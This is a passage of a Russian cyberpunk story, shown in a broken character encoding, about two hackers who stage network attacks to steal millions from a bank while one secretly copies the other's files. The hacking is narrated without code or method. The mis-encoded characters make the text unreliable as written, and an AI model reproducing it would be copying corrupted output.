ñíåæíûé êîì çàïðîñîâ áûë ãîòîâ óòîïèòü êîìïüþòåðû ôåäåðàëîâ. Íî
ïîñòåïåííî Ïåòåðñåí ñòàë çàìå÷àòü, ÷òî äåâÿòûé âàë àòàêè ïîñòåïåí-
íî îñëàáåâàåò — áàíêîâñêèå áåçîïàñíèêè íå ïðîñòî îòñåêàëè âõîäÿ-
ùèå, îíè óæå îòêëþ÷èëè âîñåìü ïðîêñè èç òðèäöàòè ÷åòûðåõ, êîòîðûå
èñïîëüçîâàë Êëåéí. Äåâÿòü... Äåñÿòü... Ïîòîì åùå ñðàçó ÷åòûðå.

Ó íèõ áûëà âîçìîæíîñòü íå ïðîñòî îòñëåæèâàòü. Ó áàíêà áûë
êàðò-áëàíø íà ïîäîáíûå îïåðàöèè — ïîõîæå, ïðàâèòåëüñòâî äàâàëî
èì äîïóñê ê âûíåñåíèþ óëüòèìàòóìà âëàäåëüöàì àíîíèìíûõ ñåðâåðîâ.
— Æìè, Êëåéí, æìè...— øåïòàë Ïåòåðñåí, ïîñòóêèâàÿ ìåõàíè÷åñêèìè
ïàëüöàìè ïî ñòîëó. Åãî âòîðæåíèå óæå íà÷àëîñü — Êëåéí îòâëåêàë 
íà ñåáÿ âñå ñèëû çàùèòíèêîâ áàíêà ñâîèìè êèáåð-ìîëîòàìè è êèáåð-

ïðåññàìè, êîòîðûå ëóïèëè ïî
èõ êîìïüþòåðàì, ñëîâíî ñëå-
ïîé êóçíåö ïî íàêîâàëüíå.

Òåì âðåìåíåì óìåðëî
åùå øåñòü ñåðâåðîâ. Àòàêà
òåðÿëà ñâîþ ñèëó. Ïåòåðñåí
òåì âðåìåíåì óæå íàõîäèëñÿ
â áàçå äàííûõ ñ÷åòîâ êëèåí-
òîâ, áûñòðî ïðîëèñòûâàÿ 
èõ â ïîèñêàõ ïðèìåðíî äåñÿò-
êà ñ÷åòîâ ñ áîëüøèìè ñóììà-
ìè. ×åðåç íåñêîëüêî ìèíóò íà-
÷àëàñü òðàíçàêöèÿ ïî ïåðåìå-
ùåíèþ ïÿòè ìèëëèîíîâ äîëëà-
ðîâ èç Ôåäåðàëüíîãî áàíêà 
â äåíåæíûå õðàíèëèùà íåé-
òðàëüíûõ ñòðàí.
— Ìåíÿ ñêîðî âûäàâÿò çà ïðå-
äåëû çîíû äîñòóïà — â êëèåíò-
ñêóþ çîíó, — à ïîòîì è ïðîñòî
âûøâûðíóò, êàê àíîíèìà áåç
ðåãèñòðàöèè! — êðèêíóë Êëåéí.
— Òû äåëàåøü ÷òî-íèáóäü? Ó
íàñ íå áîëüøå äâóõ-òðåõ ìèíóò!

Ïåòåðñåí ñìîòðåë íà ïðîãðåññ-áàð, ïî êîòîðîìó ìåäëåííî, 
íî âåðíî ïîëçëà ê ôèíèøó ãîëóáàÿ ïîëîñêà, è ìîë÷àë. Êëåéí ñïðîñèë
åùå ðàç, ïîòîì çàìîë÷àë.

À åùå ÷åðåç ïîëòîðû ìèíóòû äåíüãè ïðèáûëè ïî íàçíà÷åíèþ.
— Ãîòîâî, — êîðîòêî ñêàçàë Ïåòåðñåí. — Ñìûâàåìñÿ.
— Åñòü, — îòâåòèë Êëåéí è îäíèì äâèæåíèåì ïðàâîé ðóêè, â êîòîðîì
íåâèäèìî äëÿ ãëàç ñëèëèñü îêîëî ïÿòèäåñÿòè íàæàòèé êëàâèø, îáîð-
âàë âñå íèòè, âåäóùèå â èõ êâàðòèðó.

Ëþäè ïî òó ñòîðîíó Ñåòè ñïîòêíóëèñü î ïóñòîòó, ïðåêðàòèëè
áîðüáó è ñïîêîéíî âçäîõíóëè.

Èç îòäåëà ïî ðàáîòå ñ êëèåíòàìè èì ïîçâîíèëè òîëüêî ÷åðåç øå-
ñòíàäöàòü ÷àñîâ — êîãäà îäèí èç ñèëüíûõ ìèðà ñåãî íå îáíàðóæèë íà
ñâîåì ñ÷åòó ïàðû ìèëëèîíîâ.

«Ýêñ» óäàëñÿ.

Çâóê êëþ÷à, ïîâîðà÷èâàåìîãî â çàìêå, çàñòàë Êëåéíà âðàñïëîõ. 
Ïî êðàéíåé ìåðå, íà ïåðâûé âçãëÿä ýòî âûãëÿäåëî èìåííî òàê.

Ïåòåðñåí âîøåë â êâàðòèðó è óâèäåë, ÷òî åãî äðóã ñèäèò çà êîì-
ïüþòåðîì. Çà åãî, Ïåòåðñåíà, êîìïüþòåðîì, âûäâèíóòûì èç çåðêàëü-
íîãî øêàôà. Êëåéí âñêî÷èë ñî ñòóëà, ðåçêî ïîâåðíóëñÿ ê ðàñïàõíóòîé
äâåðè è óðîíèë ñòóë.

Îíè ñìîòðåëè äðóã íà äðóãà äîâîëüíî äîëãî — ìèíóò ïÿòü. Íèêòî
íå ïðîèçíîñèë íè ñëîâà. Ïðîñòî ñòîÿëè è ñìîòðåëè; Ïåòåðñåí äûøàë
òÿæåëî è çëî, Êëåéí — áûñòðî, âçâîëíîâàííî. Ãëàçà ñâåðëèëè ãëàçà;
ìåòàëëè÷åñêèå ïàëüöû ñóõî è ÷àñòî ïîùåëêèâàëè.
— Ýòèì äîëæíî áûëî êîí÷èòüñÿ, — ñêàçàë ïîñëå ìîë÷àíèÿ Ïåòåðñåí,
äåëàÿ øàã íàâñòðå÷ó. — Çðÿ ÿ òåáå òîãäà ñêàçàë î áàçàõ, î Äâèæåíèè,
î ñâîèõ óìåíèÿõ è âîçìîæíîñòÿõ. Îé êàê çðÿ — òåïåðü ìíå ïðèäåòñÿ
îá ýòîì î÷åíü è î÷åíü ïîæàëåòü. À óæ òåáå — òåì áîëåå.

Îí ïîäîøåë ê øêàôó, ìåëüêîì âçãëÿíóë íà ýêðàí, ñêðèâèëñÿ 
è ñ ðàçìàõó çàêðûë äâåðü. Çåðêàëî çàäðåáåçæàëî; Êëåéí âçäðîãíóë 
è îòîäâèíóëñÿ íà ïàðó øàãîâ â ñòîðîíó.
— Ñòàâèì ýêñïåðèìåíòû? — ñïðîñèë Ïåòåðñåí. — Íàäî ìíîé, íàä ñî-
áîé? Ñìîòðè, äàæå ïèâà âûïèë äëÿ õðàáðîñòè... À òî âåäü íå óãîâî-
ðèøü. ß êîìïüþòåð îò òåáÿ íèêîãäà íå ïðÿòàë, òû æå çíàåøü. Âñå ìîè
èíñòðóìåíòû íà íåì òåáå èçâåñòíû. Íî, îäíàêî æå, òû çíàë, ÷òî ñóùå-
ñòâóþò è îãðàíè÷åíèÿ — ïðè÷åì î÷åíü è î÷åíü ñåðüåçíûå...

Êëåéí êèâíóë. Ãîëîâà ó íåãî ñëåãêà êðóæèëàñü îò âûïèòîãî ïèâà,
íî îí åùå íå ïîòåðÿë ñïîñîáíîñòü ñîîáðàæàòü.
— ß íå ïîçâîëÿë òåáå ïîäáèðàòü ïàðîëè, åñëè òû íà íèõ íàòûêàëñÿ.
Âåäü òàê? Òàê. Ó êàæäîãî åñòü ñâîè ñåêðåòû — äàæå ó ìåíÿ. È äàæå 
îò òåáÿ. Âñå ìû ëþäè. Ñàìûå îáûêíîâåííûå ëþäè.
— Íå âñå, — âäðóã ñêàçàë Êëåéí. — Èçâèíè, âûðâàëîñü...

Ïåòåðñåí ñïîòêíóëñÿ îá ýòî çàìå÷àíèå Êëåéíà, çàìîë÷àë è ñäå-
ëàë âèä, ÷òî ê ÷åìó-òî ïðèñëóøèâàåòñÿ.
— ×òî? Òû ÷òî-òî ñêàçàë? Íå ìîæåò áûòü! — Ïåòåðñåí âñïëåñíóë ðó-
êàìè. — ß çàñòàþ ìîåãî äàâíåãî äðóãà çà êîìïüþòåðîì â òîò ìîìåíò,
êîãäà îí ïðîñìàòðèâàåò îäèí èç çàïàðîëåííûõ êàòàëîãîâ — è îí åùå
ïûòàåòñÿ îïðàâäûâàòüñÿ!
— ×òî æå ìíå îñòàåòñÿ... — íà÷àë áûëî Êëåéí, íî Ïåòåðñåí âíåçàïíî
çà ñåêóíäó ïðåîäîëåë ðàçäåëÿþùèå èõ íåñêîëüêî øàãîâ è óäàðèë
Êëåéíà â æèâîò. Òîò ñëîæèëñÿ ïîïîëàì, çàäîõíóëñÿ è ïîâàëèëñÿ íà
ïîë. Ñ ãóá ñîðâàëñÿ òî ëè ñòîí, òî ëè êàøåëü. Ïåòåðñåí ïåðåøàãíóë
÷åðåç íåãî, ñåë â êðåñëî.
— Òû æå ñïîñîáíûé ÷åëîâåê, Êëåéí, — ïðîäîëæèë îí, êàê íè â ÷åì íå
áûâàëî. — Òû ëåãêî îáó÷àåøüñÿ. Òû î÷åíü áûñòðî ïðèíèìàåøü ðåøå-
íèÿ. Ïîðîé áûñòðåå, ÷åì ÿ — íî òóò âîïðîñ ñïîðíûé. Äà è âîîáùå —
íå â áûñòðîòå äåëî. Òóò, ÿ äóìàþ, òåáÿ âûðó÷àåò ìîé ïðîòåç, êèíåìà-
òèêà â íåì íà âûñî÷àéøåì óðîâíå. Òû ìåíÿ ñëûøèøü? Õîòü áû êèâíóë
äëÿ ïðèëè÷èÿ.
— Ñëûøó, — î÷åíü òèõî îòîçâàëñÿ Êëåéí. — Çà ÷òî ... òû ìåíÿ óäàðèë?
— Òû ñóíóë ñâîé íîñ íå â ñâîå äåëî.
— Óáåé ìåíÿ çà ýòî... — Êëåéí ïðèïîäíÿëñÿ è ñåë ó ñòåíû. — Òû æå
çíàåøü, êàê ÿ õî÷ó íàéòè ñâîåãî ðåáåíêà — è òû ñêîðìèë ìíå ýòó ïè-
ëþëþ ñ èíôîðìàöèåé î òîì, ÷òî ëîìàë áàçû Äâèæåíèÿ. Âåäü òàì íà-
âåðíÿêà áûëè ïîäðîáíîñòè î ìîåé Øåðèë...
— ß íå èñêàë òâîþ äî÷ü. ß äàæå íå çíàë òîãäà î åå ñóùåñòâîâàíèè.
Ìîæíî ñêàçàòü, ÿ ñäåëàë ìàëåíüêèé «ýêñ» — ÿ óêðàë èõ ïàðîëè. Ìåæ-
äó ïðî÷èì, òû ïîíÿòèÿ íå èìååøü îá îáîðîòíîé ñòîðîíå äåëà — äóìà-
åøü, íàâåðíîå, ÷òî ìåíÿ ñðàçó âîçâåëè â ðàíã ãåðîÿ è äîâåðèëè ñàìûå
ñëîæíûå äåëà? Íó óæ íåò — ÿ òîæå ñïîëíà õëåáíóë äåðüìà. È óìûëñÿ
êðîâüþ. Âîò òàê æå, êàê è òû ñåé÷àñ, ïîëó÷èë ïî ìîðäå, ïðîëåæàë â êà-
êîì-òî èçîëÿòîðå áåç åäû è ïèòüÿ ïàðó äíåé. È ïîòîì ñòàë ÷åðòîâñêè
ñãîâîð÷èâûì, Êëåéí! Ïðàâäà, ÿ è íå ñòðåìèëñÿ ñêðûòü îò íèõ íè÷åãî —

ÏÅÒÅÐÑÅÍ 
ÑÌÎÒÐÅË

ÍÀ ÏÐÎÃÐÅÑÑ-ÁÀÐ, 
ÏÎ ÊÎÒÎÐÎÌÓ 

ÌÅÄËÅÍÍÎ, 
ÍÎ ÂÅÐÍÎ ÏÎËÇËÀ 

Ê ÔÈÍÈØÓ 
ÃÎËÓÁÀß 

ÏÎËÎÑÊÀ, 
È ÌÎË×ÀË
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íàîáîðîò, õîòåë ñ íèìè ðàáîòàòü. È âîò òåïåðü òû íàïîìèíàåøü ìíå
ìåíÿ ñàìîãî — âëåç â ÷óæîé êîìïüþòåð è ëåæèøü, óòèðàÿ êðîâü ñ ðàç-
áèòîãî ëèöà. Íàñ÷åò ëèöà — ýòî, êîíå÷íî æå, àëëåãîðèÿ. Õîòÿ íàäî áû-
ëî áû ñëîìàòü òåáå íîñ. Ïî äðóæáå.

Îí îòêèíóëñÿ â êðåñëå, ñëîæèë ðóêè íà ãðóäè è çàäóìàëñÿ. Êëåéí
âñòàë, ïîøåë íà êóõíþ, íàëèë ñåáå âîäû, âûïèë ñòàêàí. Êàæäûé âäîõ
îòäàâàëñÿ áîëüþ — Ïåòåðñåí ïðèëîæèë åãî î÷åíü è î÷åíü êðåïêî.

Îí âñïîìíèë âñå òî, ÷òî óñïåë óâèäåòü â êîìïüþòåðå Ïåòåðñåíà.
×åðòåæè, ñõåìû, èñõîäíèêè... Ïðèñåë íà òàáóðåòêó.
— Íå çðÿ ÿ ïîäîáðàë ýòè ÷åðòîâû ïàðîëè, — ïîõâàëèë îí ñàì ñåáÿ. —
Îé, íå çðÿ...

Ñçàäè ïîñëûøàëèñü øàãè. Ïåòåðñåíó íàäîåëî æäàòü, îí ïðèøåë
ñàì, ñåë ðÿäîì.
— ×òî òû èñêàë òàì?
— ß íå õî÷ó îá ýòîì ãîâîðèòü, — íå ïîäíèìàÿ ãëàç, ñêàçàë Êëåéí. —
Ïðîñòî òû ïîäàðèë ìíå íàäåæäó... ß õîòåë íàéòè ñïîñîá ïîâòîðèòü
òâîé âçëîì. Õîòü êàêèå-òî ôàêòû, õîòü ÷òî-òî...

Ïåòåðñåí âçäîõíóë.
— Ýòîò êîìïüþòåð ìíå ïðåäîñòàâèëî Äâèæåíèå. Ìíå íå îñòàâèëè íè-
÷åãî ëè÷íîãî, ðàçðåøèâ òîëüêî çàõâàòèòü ñ ñîáîé êîðîáêó ñ ïðîãðàì-
ìàìè è ïàðó êíèæåê ïî ïðîãðàììèðîâàíèþ. Òàì — òîëüêî íîâûå íàðà-
áîòêè. Íè÷åãî, ÷òî áûëî áû ñâÿçàíî ñ òåì âçëîìîì.

Êëåéí êèâíóë.
— Èçâèíè, ÷òî ÿ òàê... Îòðåàãèðîâàë. Ìåðåùèòñÿ âñÿêîå...

Ïåòåðñåí âñòàë, ïîõëîïàë åãî ïëå÷ó, óøåë.
Êëåéí ïðîâîäèë åãî ñïèíó âçãëÿäîì, ïðèùóðèëñÿ.

— Íè÷åãî, ãîâîðèøü? Âîò óæ íå äóìàë, ÷òî òû ìíå êîãäà-íèáóäü ñîâðåøü... 
Îí ïîäîøåë ê îêíó, òêíóëñÿ ëáîì â ñòåêëî è ïðèíÿëñÿ ïîâòîðÿòü

ïðî ñåáÿ ïîñëåäîâàòåëüíîñòè ÷èñåë è êàêèå-òî êîìàíäû.
Òî, ÷òî îí óñïåë çàïîìíèòü, âçëîìàâ êîìïüþòåð Ïåòåðñåíà.
Ñ ýòîãî äíÿ — ñâîåãî âðàãà.

Ñëåäóþùèé «ýêñ» èì áûëî ñóæäåíî ñîâåðøèòü ñïóñòÿ òðè íåäåëè ïî-
ñëå ñëó÷èâøåãîñÿ. Ïåòåðñåí ïðèøåë, êàê âèõðü — êàê âñåãäà, áëèæå ê
âå÷åðó, íàçâàë çàäàíèå. Ôåäåðàëüíûé áàíê óæå, áåçóñëîâíî, îòïàäàë
— Êëåéí ïðîâåðèë åãî íåñêîëüêî äíåé íàçàä, òàì è ìûøü íå ïðîñêî-
÷èò. Ðåáÿòà íàâîðîòèëè òàêèõ ïðåãðàä, ÷òî, êàæåòñÿ, ñàìè áûëè íå ðà-
äû — íàñòîëüêî ñëîæíîé è íåïîâîðîòëèâîé ñòàëà ñèñòåìà.

È, òåì íå ìåíåå, íàéòè â íåé áðåøü íå óäàëîñü.
Êëåéí ñîîáùèë îá ýòîì Ïåòåðñåíó. Òîò òîëüêî ëèøü óõìûëüíóëñÿ.

— Êîãäà ïðèäåò âðåìÿ — ÿ òêíó ïàëüöåì òåáå è ýòèì ïàðíÿì èç Äâè-
æåíèÿ òóäà, ãäå ó ìåíÿ ïðîòîïòàíà î÷åðåäíàÿ òðîïèíêà. ß íå ñèæó áåç
äåëà. Íå øàðþñü â ÷óæèõ êîìïàõ áåç ïðè÷èíû. ß — Èñêëþ÷èòåëüíî
Äåëîâîé ×åëîâåê. È òîëüêî ïîýòîìó â òîò äåíü òû íå ïîïàë â áîëüíèöó.
Òû ìíå íóæåí. Òû — ìîé èíñòðóìåíò. Èíñòðóìåíò äëÿ äåëà. À âñå, ÷òî
ìíå íóæíî äëÿ äåëà, äîëæíî áûòü âñåãäà ïîä ðóêîé.

Êëåéí âûñëóøàë ýòîò ìîíîëîã è çàïîìíèë òîëüêî îäíî — Ïåòåð-
ñåí ïðèíåñåò ðàáîòó. È ó íåãî îáÿçàòåëüíî áóäåò ãîòîâî ðåøåíèå —
õîòÿ áû ïðèáëèçèòåëüíîå, ïðîìåæóòî÷íîå.

Ýòî íàâîäèëî íà îïðåäåëåííûå ìûñëè...
— Ðàáîòàåì, — êîðîòêî ñêàçàë Ïåòåðñåí, âîéäÿ â êâàðòèðó. Îí øâûð-
íóë íà ïîë ñóìêó, ñ êîòîðîé íèêîãäà íå ðàññòàâàëñÿ, îòêðûë øêàô 
è âêëþ÷èë êîìïüþòåð.
— ×åãî æäåøü? — ãðîçíî ñïðîñèë îí ó Êëåéíà. — ß æå ñêàçàë — ðàáîòàåì!
— Êîíå÷íî, êîíå÷íî, — ñîãëàñíî êèâíóë Êëåéí, óøåë ê ñåáå, íàöåïèë
ãàðíèòóðó, óñëûøàë:
— Èäè çà ìíîé.

Îíè âûøëè â Ñåòü.
È Êëåéí ñðàçó ïî÷óâñòâîâàë, ÷òî Ïåòåðñåí èäåò ïðîòîïòàííîé

äîðîæêîé. Êàçàëîñü, ÷òî îí âçëàìûâàåò ñèñòåìó ïî ó÷åáíèêó — ìåòî-
äè÷íî, íåòîðîïëèâî, ñ àáñîëþòíîé ãðàìîòíîñòüþ. Òàê ìîæíî áûëî ðà-
áîòàòü ëèáî ãåíèþ, ëèáî ÷åëîâåêó, êîòîðûé äåëàë ýòó ðàáîòó â ýòîì
ñåãìåíòå Ñåòè íå ïåðâûé ðàç.

Ïåòåðñåí äîæäàëñÿ, êîãäà Êëåéí âûâàëèò íà ñåðâåðû áàíêà ìàñ-
ñó çàïðîñîâ, çàïóñòèò êó÷ó ñåòåâûõ óòèëèò è âûçîâåò îòâåòíóþ ðåàê-
öèþ àäìèíèñòðàòîðîâ. Âñå ïîëó÷àëîñü, êàê îáû÷íî — â òàêèõ ó÷ðåæ-
äåíèÿõ ëþäè íèêîãäà íå ïîëó÷àëè äåíüãè çðÿ. Êëåéí îùóòèë ñîïðîòèâ-
ëåíèå, êîòîðîå âîçðàñòàëî ñ êàæäîé ìèíóòîé.
— ß íà÷èíàþ, — óñëûøàë îí â ãîëîâå. Ãàðíèòóðû, êîòîðûå Ïåòåðñåí
óñîâåðøåíñòâîâàë ñàì, ñîçäàâàëè íåâåðîÿòíîå îáúåìíîå çâó÷àíèå
ãäå-òî ïðÿìî â ìîçãàõ, îò÷åãî ñëîæíî áûëî ïîíÿòü, îòêóäà â äåéñòâè-
òåëüíîñòè äîíîñèòñÿ ãîëîñ.
— Äàâàé, — îòîçâàëñÿ Êëåéí. Ïîñëå ÷åãî âûíóë èç ñòîëà äèñê è âñòà-
âèë åãî â ïðèâîä. Âïåðâûå çà âñå âðåìÿ ñîâìåñòíîé ðàáîòû îí ïîðàäî-

âàëñÿ, ÷òî Ïåòåðñåí íå âèäèò åãî ñåé÷àñ. Äèñê òèõî çàæóææàë, íà
ýêðàíå ïîÿâèëîñü ïðîñòåíüêîå îêíî àâòîñòàðòà. Êëåéí âûáðàë ñàìûé
âåðõíèé ïóíêò è íà ìãíîâåíèå çàìåð.

Íè÷åãî íå ïðîèçîøëî. Íà ïåðâûé âçãëÿä. Âñå áûëî êàê âñåãäà.
Àòàêà Êëåéíà ïîñòåïåííî çàòèõàëà, ñïîòûêàÿñü î âñå áîëüøåå è áîëü-
øåå êîëè÷åñòâî ïðåãðàä; Ïåòåðñåí ïåðåêà÷èâàë ôèíàíñû â íóæíîì è
èçâåñòíîì åìó îäíîìó íàïðàâëåíèè.

Íî ñóùåñòâîâàë åùå îäèí ïðîöåññ — äëÿ Ïåòåðñåíà ñåé÷àñ íå-
âèäèìûé. Áóäü îí â êóðñå — Êëåéíó íåñäîáðîâàòü.

Ñ êîìïüþòåðà Ïåòåðñåíà ê Êëåéíó ëèëñÿ ïîòîê äàííûõ. Âñå, ÷òî
õðàíèëîñü â çàïàðîëåííûõ äèðåêòîðèÿõ, îòäàâàëî ñåé÷àñ ñâîè òàéíû.

È êîãäà Ïåòåðñåí ñêàçàë «Ñòîï», Êëåéí óæå âûêëþ÷èë ñâîé
ñêàíåð, çàêðûë âñþ ïåðåêà÷àííóþ èíôîðìàöèþ è ñïîêîéíî ïðåðâàë
àòàêó íà áàíê. 

Ïåòåðñåí ïðîøåë ìèìî åãî êîìíàòû ê õîëîäèëüíèêó, äîñòàë ïà-
êåò ìîëîêà, íàëèë ñåáå ïîëíóþ êðóæêó.
— Âñå óäà÷íî? — ñïðîñèë îí ó Êëåéíà ÷åðåç ñòåíó.
— Ñàìî ñîáîé, — îòîçâàëñÿ òîò. Î÷åíü ñèëüíî íûëî ïðåäïëå÷üå — ðà-
áîòà òðåáîâàëà î÷åíü áîëüøîé àêòèâíîñòè ìûøö.
— Êòî ñåãîäíÿ ãîòîâèò óæèí?
— Êàê óãîäíî, — Êëåéí âûøåë èç êîìíàòû. — Ñêîëüêî íà ýòîò ðàç?
— Ïî÷òè äâàäöàòü òðè ìèëëèîíà. Ëàäíî, ÿ ñäåëàþ. Ó òåáÿ, íàâåðíîå,
ðóêà áîëèò.

Ïåòåðñåí ïðåêðàñíî ïîíèìàë, ÷òî îí ñàì ðàáîòàë çà ñåáÿ îäíîãî
— à âîò Êëåéí ñèìóëèðîâàë àòàêó ñ ìíîæåñòâà êîìïüþòåðîâ, ÷òî òðå-
áîâàëî ìàêñèìàëüíîé ñêîðîñòè ðàáîòû ïðîòåçà.
— Äà óæ, — Êëåéí ïîòåð ðóêó, êîòîðàÿ ïðîèçâîäèëà âïå÷àòëåíèå äåðå-
âÿííîé. — Êîãäà-íèáóäü åå ñâåäåò ñóäîðîãà — è íàñ íèêòî íå ñïàñåò.
— Íà ýòîò ñëó÷àé íàäî èìåòü ðÿäîì ñ ñîáîé èãîëêó — óêîëåøü â êîìîê
ìûøö, è âñå ñðàçó ïðîéäåò. Òàê äåëàþò ïëîâöû â ìîðå — âñåãäà èìå-
þò ïðè ñåáå áóëàâêó, — Ïåòåðñåí ñêàçàë ýòî òàêèì òîíîì, ñëîâíî
Êëåéí íå èìåë ïðàâà íà îøèáêó. — Åñëè òû íå ñìîæåøü ïðèêðûâàòü
ìåíÿ — íàì íåäîëãî îñòàíåòñÿ. È äàæå Äâèæåíèå íå ñìîæåò âûòàùèòü
íàñ èç òåõ ïåðåäåëîê, ÷òî ïðåäñòîÿò â ñëó÷àå ïðîâàëà.

Êëåéí êèâíóë. Ïåðåä åãî ãëàçàìè ñòîÿëà ïîëîñêà òðàíñôåðà —
îí äóìàë, ÷òî æå îí íàéäåò çàâòðà ñðåäè òîé èíôîðìàöèè, ÷òî ñêà÷àë
ñåãîäíÿ ó Ïåòåðñåíà ïîä ïðèêðûòèåì «ýêñà».

À Ïåòåðñåí ñèäåë íà òàáóðåòêå, ãëÿäÿ â îêíî, ïèë ìîëîêî è äóìàë
î òîì, ÷òî êîãäà-íèáóäü âñå ýòî êîí÷èòñÿ...

Êëåéí âòîðîé äåíü ðàñêëàäûâàë ïî ïîëî÷êàì òî, ÷òî ñóìåë äîáûòü.
Èíôîðìàöèè áûëî áîëåå ÷åì äîñòàòî÷íî. Âðåìåíàìè îí ïîñìàòðèâàë
íà ñâîé ïðîòåç, ùåëêàë ïàëüöàìè, ïîãëàæèâàë óöåëåâøåé ðóêîé ïðà-
âîå ïðåäïëå÷üå è êà÷àë ãîëîâîé.

Ïåòåðñåíà íå áûëî âñå ýòî âðåìÿ. Îí íèêîãäà íå îò÷èòûâàëñÿ —
ãäå îí, ñ êåì, ÷òî äåëàåò. Ñêîëüêî Êëåéí ïîìíèë, åãî íàïàðíèê áûë
ôèãóðîé ñåðüåçíîé, çàãàäî÷íîé — îñîáåííî îí âûðîñ â ãëàçàõ Êëåéíà
ïîñëå óïîìèíàíèÿ î âçëîìå áàç Äâèæåíèÿ.

È âîò òåïåðü — ñ êàæäûì îòêðûòûì ôàéëîì — àâòîðèòåò Ïåòåðñåíà
ïàäàë è ïàäàë. Âñå íèæå è íèæå. Êàçàëîñü, ÷òî îí óæå íèêîãäà íå ñòàíåò
äëÿ Êëåéíà òåì, êåì áûë — âåäóùèì èõ ïàðû, ó÷èòåëåì, íàñòàâíèêîì.
— È âåäü ÿ áûë óâåðåí, ÷òî çäåñü äåëî íå÷èñòî, — áîðìîòàë îí, ÷èòàÿ
äîêóìåíòû ñ ýêðàíà. — Íî íå äî òàêîé æå ñòåïåíè...
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Îí âñïîìíèë, êàê íàøåë àãåíòîâ Äâèæåíèÿ — ÷åðåç óëè÷íûõ òîðãîâ-
öåâ íàðêîòèêàìè. Îíè âñåãäà ñëåäèëè çà òàêèìè, êàê Êëåéí — ëþäüìè
áåç ïðàâîé ðóêè, ãîëîäíûìè, ãðÿçíûìè, â êàðìàíå íåò êàðòî÷êè ðåãè-
ñòðàöèè â Ñèòè, òîëüêî ñïðàâêà î ãðàæäàíñêîé êàçíè, ïî êîòîðîé ìàê-
ñèìóì, íà ÷òî îí ìîã ðàññ÷èòûâàòü — íà ïàêåò ñ åäîé íà ñóòêè â ìàðêå-
òàõ äëÿ áåäíûõ.

Ïàðåíü ñ îòòîïûðåííûìè êàðìàíàìè ïîäîøåë ê íåìó ñçàäè, ìÿã-
êî ïðèêîñíóëñÿ ê ïëå÷ó, ïðîøåïòàë:
— Ïðèâåò... Ãäå ïîòåðÿë ðóêó?
— Ãðàæäàíñêàÿ êàçíü, — íå îáîðà÷èâàÿñü, îòâåòèë Êëåéí. — ×òî òåáå
íàäî? Îòâåäåøü ìåíÿ â ïîëèöèþ?
— Çà÷åì? — ãîëîñ èç-çà ñïèíû íå ñïåøèë èñ÷åçàòü — êàê, âïðî÷åì,
íå ñïåøèë è ïîÿâèòüñÿ ïåðåä ãëàçàìè Êëåéíà. — Òàêèõ êàê òû èùóò
ñîâåðøåííî äðóãèå. Ñëûøàë ïðî Äâèæåíèå?
— Ñëûøàë, — îòâåòèë Êëåéí è ðåçêî ïîâåðíóëñÿ. Ïàðåíü îòøàò-
íóëñÿ êóäà-òî â òåíü, ñäåëàâ âñå âîçìîæíîå, ÷òîáû îñòàâèòü ñâîå
ëèöî â òàéíå.
— Íå íàäî ðåçêèõ äâèæåíèé, — ñêàçàë îí èç ïîëóìðàêà. — ß çäåñü äà-
ëåêî íå ïîñëåäíèé ÷åëîâåê, âñå ìîè ðàçãîâîðû ñ ïîñòîðîííèìè ëþäü-
ìè äîëæíû áûòü ïðîäóìàííûìè, âçâåøåííûìè — èíà÷å ðåøàò, ÷òî 
ÿ ñîòðóäíè÷àþ ñ ïîëèöèåé, è ìîé áèçíåñ íàêðîåòñÿ. À ó ìåíÿ åñòü ìà-
ëåíüêàÿ ñåñòðåíêà, êîòîðîé íàäî äàòü îáðàçîâàíèå...
— Ê ÷åðòó ñåñòðåíêó, — áóðêíóë Êëåéí. — Íèêîãäà íå ïîâåðþ.
×óøü. ×òî òû çíàåøü î Äâèæåíèè? Òû ñîñòîèøü â íåì? Èëè èìååøü
âûõîäû íà èõ ñåòü?

Ïàðåíü çàìîë÷àë — è ñïóñòÿ ïàðó ñåêóíä Êëåéí ïîíÿë, ÷òî îí
ïðîñòî ðàñòâîðèëñÿ â òîì ìðàêå, â êîòîðîì ïðÿòàëñÿ.
— ß áûë ñëèøêîì íàñòîé÷èâ, — ñêàçàë ñàì ñåáå Êëåéí. Ìàøèíàëüíî
ïîïûòàëñÿ ïðèãëàäèòü âîëîñû íà ãîëîâå, ìàõíóë îòñóòñòâóþùåé êèñ-
òüþ, âûðóãàëñÿ. Ó íåãî òîëüêî ÷òî áûë øàíñ âûéòè íà Äâèæåíèå è íà-
÷àòü ïîèñêè äî÷åðè. Íàñòîÿùåé, ðåàëüíîé äåâî÷êè, íå òî, ÷òî ó ýòîãî
äèëåðà — «Ó ìåíÿ ñåñòðåíêà, îáðàçîâàíèå, çäîðîâüå...».

Îí ñäåëàë ïàðó øàãîâ ïî ïåðåóëêó, ðàçãëÿäûâàÿ óêàçàòåëè —
åìó áûë íóæåí ìàðêåò, îí íå åë óæå äâà äíÿ. Òîðãîâöû íåíàâèäÿò òà-
êèõ, êàê îí — îòêàçûâàþò äàæå ïðè ïðåäúÿâëåíèè êàðòî÷êè, ïî êîòî-
ðîé îáÿçàíû íàêîðìèòü åãî.

Âíåçàïíî ïåðåä íèì ïîÿâèëñÿ ÷åëîâåê.
— Âû Êëåéí. Âàøà êàçíü áûëà äâà ñ ïîëîâèíîé ìåñÿöà íàçàä. Âû ïî-
òåðÿëè ðóêó, âàñ ïîíèçèëè â ïðàâàõ.
— È åùå ó ìåíÿ çàáðàëè ðåáåíêà, — çà÷åì-òî ñêàçàë Êëåéí.
— Áûâàåò, — ÷åëîâåê, êàê è èñ÷åçíóâøèé äèëåð, ñòîÿë, ïðèêðûâàÿ ëè-
öî òåíüþ. — Âû õîòèòå ïîëó÷èòü ðàáîòó? Õîðîøóþ ðàáîòó — íî âàì
ïðèäåòñÿ æèòü íà íåëåãàëüíîì ïîëîæåíèè. Âîçìîæíî, î÷åíü è î÷åíü
äîëãî. Âû ñëèøêîì èçâåñòíàÿ ëè÷íîñòü, ÷òîáû ñðàçó ðèíóòüñÿ îñâàè-
âàòü òåððèòîðèþ Èìïåðèè ñ ïîääåëüíûì ïàñïîðòîì. Ïîæèâåòå, ïîðà-
áîòàåòå. Ïîäîæäåì, êîãäà ñëóõè î âàñ ïåðåñòàíóò áóäîðàæèòü ïîëè-
öåéñêèå ó÷àñòêè. Ãëÿäèøü, è ñìîæåì ëåãàëèçîâàòü âàñ — âñå çàâèñèò
îò òîãî, êàê âû áóäåòå ðàáîòàòü.

— Âû ïîìîæåòå íàéòè ìîþ
äî÷ü?
— Äóìàþ, ñåé÷àñ íå âðåìÿ
